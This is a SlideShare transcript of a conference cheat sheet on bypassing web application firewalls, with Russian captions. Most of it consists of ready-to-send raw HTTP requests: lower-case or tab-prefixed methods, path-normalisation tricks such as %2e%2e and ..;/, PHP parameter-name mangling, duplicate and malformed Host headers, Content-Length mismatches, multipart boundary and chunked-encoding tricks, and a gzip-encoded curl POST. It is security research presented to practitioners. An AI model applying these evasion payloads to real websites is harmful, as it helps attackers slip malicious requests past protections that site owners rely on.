SlideShare a Scribd company logo
Another way to bypass WAF
Cheat Sheet
Антон Лопаницын
Security researcher
HTTP Request
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
rn перед началом HTTP-запроса
Apache
get /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Регистр метода
IIS
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Пробел или знак табуляции перед методом
Any
hello/%2e%2e/backup/world/%2e%2e
=>
GET /backup/ HTTP/1.1
Использование логики нормализации
Nginx
GET /hello /%2e%2e/backup/
=>
GET /backup/ HTTP/1.1
Использование логики нормализации
Any
GET /%2fbackup/ HTTP/1.1
GET /%2e%2fbackup/ HTTP/1.1
GET /%252fbackup/ HTTP/1.1
GET /%5cbackup/ HTTP/1.1
GET /%C0%AFbackup/ HTTP/1.1
Использование логики нормализации
GET /backup;/ HTTP/1.1
GET /..;/backup/ HTTP/1.1
GET /backup%20/ HTTP/1.1
Использование логики нормализации
GET /%e2%80%aesutats-revres/ HTTP/1.1
=>
/server-status/
U+202E: RIGHT-TO-LEFT OVERRIDE, без пруфов
PHP
GET /login.php?shell.exec HTTP/1.1
GET /login.php?shell[exec HTTP/1.1
PHP
GET /login.php?shell%5bexec HTTP/1.1
GET /login.php?shell%2eexec HTTP/1.1
GET /login.php?shell%5fexec HTTP/1.1
GET /login.php?shell%20exec HTTP/1.1
PHP
?pam_param=test1&pam[param=test2&pam%5bparam=test3
PHP
GET /login.php?hello%00text=world HTTP/1.1
HTTP Request
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
HTTP Request - absoluteURI
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host header
Host header
Host header
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Дублирование заголовков
Host header
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Заголовок с маленькой буквы
Host header
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Отсутствие разделителя или табуляция вместо пробела
Host header
GET /login.php HTTP/1.1
Host: favoritewaf.com:8800
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Дополнительные символы к заголовку Host
Host header
.
/
:
x00
x20
x09
-
Дополнительные символы к заголовку Host
IIS
NGINX
ANY
HTTP Request - absoluteURI
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
Некорректное значение Content-type
HTTP Request - absoluteURI
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 1
AAAAAAAA
Данных больше, чем в Content-length
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
Content-type multipart
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
Content-type multipart
Content-Disposition: form-data; name="hello"
Content-Disposition: form-data; name="hello
Content-Disposition: form-data; name="hello"world"
Content-Disposition: attachment; name="hello"
Изменение имени параметра
Content-Type: multipart/form-data;
myfavoriteboundaryis=X; boundary=Hello;
Некорректный парсинг разделителя
Content-Type: multipart/form-data; boundary=x
Content-Length: 72
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
Объявление имени параметра
Content-Type: multipart/form-data;
boundary=ZZZ
Content-Type: multipart/form-data;
boundary=AAA
Дублирование заголовка
Content-Type: multipart/form-data;
boundary=HELLOx00XXXXXXXXX
Отбрасывание части разделителя нульбайтом
Можно ли отправить POST с
данными без заголовка Content-
Length?
Content-Type: application/x-www-form-
urlencoded
Transfer-Encoding: chunked
0B
hello=world
0
Отбрасывание части разделителя нульбайтом
Content-Type: application/x-www-form-
urlencoded
Transfer-Encoding: chunked
0B
hello=world
0
Chunked encoding
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
What about TCP Window Size?
ВОТ ЭБАУТ ТИСИПИ ВИНДОВ САЙЗ?
$ printf "" | gzip > my.z
$ printf "mysuperattack" | gzip >> my.z
$ curl --data-binary @my.z -H "Content-Encoding: gzip" -X POST
'http://favoritewaf.com'
Q?
@i_bo0om
@webpwn

More Related Content

PPTX
Attacking thru HTTP Host header
PDF
Building Advanced XSS Vectors
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PDF
Frans Rosén Keynote at BSides Ahmedabad
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PPTX
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
PDF
Ekoparty 2017 - The Bug Hunter's Methodology
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Attacking thru HTTP Host header
Building Advanced XSS Vectors
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén Keynote at BSides Ahmedabad
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
Ekoparty 2017 - The Bug Hunter's Methodology
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition

What's hot (20)

PDF
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
PDF
SSRF workshop
PPTX
Waf bypassing Techniques
PDF
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
PDF
A story of the passive aggressive sysadmin of AEM
PPTX
A Forgotten HTTP Invisibility Cloak
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PDF
Neat tricks to bypass CSRF-protection
PPTX
SSRF exploit the trust relationship
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PPTX
SSRF For Bug Bounties
PDF
Hacking Adobe Experience Manager sites
PDF
XSS Magic tricks
PDF
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
PPTX
Reverse proxies & Inconsistency
PDF
A Hacker's perspective on AEM applications security
PDF
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
PDF
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
PDF
HTTP Request Smuggling via higher HTTP versions
PPTX
Command injection
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
SSRF workshop
Waf bypassing Techniques
OWASP Poland Day 2018 - Frans Rosen - Attacking modern web technologies
A story of the passive aggressive sysadmin of AEM
A Forgotten HTTP Invisibility Cloak
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Neat tricks to bypass CSRF-protection
SSRF exploit the trust relationship
Bug Bounty Hunter Methodology - Nullcon 2016
SSRF For Bug Bounties
Hacking Adobe Experience Manager sites
XSS Magic tricks
What’s wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
Reverse proxies & Inconsistency
A Hacker's perspective on AEM applications security
Garage4Hackers Ranchoddas Webcast Series - Bypassing Modern WAF's Exemplified...
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
HTTP Request Smuggling via higher HTTP versions
Command injection
Ad

Similar to Offzone | Another waf bypass (20)

PPT
Http session
PPT
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
PPT
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
PPTX
04 web server_deployment_ru
PDF
Компиляция скриптов PHP. Алексей Романенко
PPTX
Неочевидные детали при запуске HTTPS в OK.Ru / Андрей Домась (Одноклассники)
PDF
Компиляция скриптов PHP (Алексей Романенко)
PDF
Ян Жабин "Преимущества использования протокола HTTP/2"
PPT
PDF
HTTP протокол
PPT
PPTX
Основы Java. 4. Web
PPTX
Кто сказал «WAF»?
PPTX
Стажировка-2013, разработчики, занятие 7. Web, HTTP
PPTX
06 php instalation_ru
PDF
Zend Framework и мультиязычность
PDF
Стажировка 2016-07-12 02 Денис Нелюбин. Web, HTTP, TCP/IP
PPTX
Cпецкурс 2014, занятие 7. Web-приложения
PPT
PHP: SAPI
Http session
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
Находим и эксплуатируем уязвимости. Теория и практические примеры уязвимых ре...
04 web server_deployment_ru
Компиляция скриптов PHP. Алексей Романенко
Неочевидные детали при запуске HTTPS в OK.Ru / Андрей Домась (Одноклассники)
Компиляция скриптов PHP (Алексей Романенко)
Ян Жабин "Преимущества использования протокола HTTP/2"
HTTP протокол
Основы Java. 4. Web
Кто сказал «WAF»?
Стажировка-2013, разработчики, занятие 7. Web, HTTP
06 php instalation_ru
Zend Framework и мультиязычность
Стажировка 2016-07-12 02 Денис Нелюбин. Web, HTTP, TCP/IP
Cпецкурс 2014, занятие 7. Web-приложения
PHP: SAPI
Ad

More from Дмитрий Бумов (20)

PDF
2000day in Safari
PPTX
Partyhack 3.0 - Telegram bugbounty writeup
PPTX
ZeroNights 2018 | I <"3 XSS
PDF
ZeroNights 2018 | Race Condition Tool
PDF
Defcon Russia 2017 - Bo0oM vs Шурыгина
PDF
DC7499 - Param-pam-pam
PPTX
KazHackStan - "><script>alert()</script>
PPTX
VolgaCTF 2018 - Neatly bypassing CSP
PDF
Отравление кэша веб-приложений
PPTX
XSS. Обходы фильтров и защит.
PPTX
RIW 2017 | Все плохо
PPTX
Skolkovo школа | Капельку о MITM
PPTX
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PPTX
Armsec 2017 | 2 bugs 1 safari
PPTX
KazHackStan 2017 | Tracking
PPTX
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
PPTX
Разведка боем
PPTX
VolgaCTF | Bo0oM - DNS and attacks
PPTX
пресс конференция 15.06.2016. безопасность платежных систем и банков
2000day in Safari
Partyhack 3.0 - Telegram bugbounty writeup
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | Race Condition Tool
Defcon Russia 2017 - Bo0oM vs Шурыгина
DC7499 - Param-pam-pam
KazHackStan - "><script>alert()</script>
VolgaCTF 2018 - Neatly bypassing CSP
Отравление кэша веб-приложений
XSS. Обходы фильтров и защит.
RIW 2017 | Все плохо
Skolkovo школа | Капельку о MITM
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
Armsec 2017 | 2 bugs 1 safari
KazHackStan 2017 | Tracking
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Разведка боем
VolgaCTF | Bo0oM - DNS and attacks
пресс конференция 15.06.2016. безопасность платежных систем и банков

Offzone | Another waf bypass